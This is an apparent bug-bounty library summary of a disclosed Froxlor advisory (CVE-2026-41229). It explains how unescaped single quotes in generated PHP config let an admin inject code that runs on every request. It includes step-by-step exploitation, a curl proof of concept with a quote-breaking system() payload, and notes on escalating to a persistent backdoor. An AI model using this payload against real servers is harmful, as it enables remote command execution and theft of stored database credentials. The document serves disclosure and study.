# Froxlor has a PHP Code Injection via Unescaped Single Quotes in userdata.inc.php Generation (MysqlServer API)

Unescaped single quotes in PhpHelper::parseArrayToString let an admin inject PHP via privileged_user into userdata.inc.php, executing OS commands on every request.

- Payout: Research
- Severity: critical
- Program: Froxlor
- Found by: offset
- Disclosed: 2026-04-16
- CVE: CVE-2026-41229
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-gc9w-cc93-rjv8
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-gc9w-cc93-rjv8
- Tags: area:web domain:web impact:privesc impact:rce kind:research platform:ghsa sev:critical tech:php technique:source-review vuln:command-injection vuln:misconfiguration vuln:rce

**Target:** MysqlServer.add/update API writing lib/userdata.inc.php
**Root cause:** PhpHelper::parseArrayToString interpolates string values into single-quoted PHP literals without escaping quotes; privileged_user and mysql_ca lack validation.
**Steps:**
1. Authenticate to api.php as admin with change_serversettings
2. POST `MysqlServer.add` with `privileged_user` set to `x'\''.system("id").'\''` and `test_connection: 0` to skip PDO check
3. userdata.inc.php is regenerated containing `'user' => 'x'.system("id").'',`
4. Any subsequent request requires userdata.inc.php via Database::getDB(), executing system("id")
**How found:** Code review of PhpHelper::parseArrayToString noticed the password key uses safe nowdoc while other string keys are interpolated raw into single quotes; traced unvalidated privileged_user from MysqlServer::add into the generated file.
**Exploitation:** Admin API caller injects PHP into userdata.inc.php; the file is require'd on every request, so injected code runs as the web server user persistently, yielding OS command execution and access to stored DB credentials.
**Escalation:** Scope change from Froxlor app admin to OS-level command execution as www-data; persistent backdoor and lateral movement via stored MySQL credentials.
**Insight:** When a serializer special-cases one sensitive key (password via nowdoc) but leaves sibling keys raw, that asymmetry flags the escaping gap; check every field written into generated config files that are require'd at runtime.

## Proof of concept (copied exactly from the original report)

**curl request injecting PHP via privileged_user**

```
curl -s -X POST https://froxlor.example/api.php \
  -u 'ADMIN_APIKEY:ADMIN_APISECRET' \
  -H 'Content-Type: application/json' \
  -d '{
    "command": "MysqlServer.add",
    "params": {
      "mysql_host": "127.0.0.1",
      "mysql_port": 3306,
      "privileged_user": "x'\''.system(\"id\").'\''",
      "privileged_password": "anything",
      "description": "test",
      "test_connection": 0
    }
  }'
```

**Generated userdata.inc.php line with injected code**

```
'user' => 'x'.system("id").'',
```

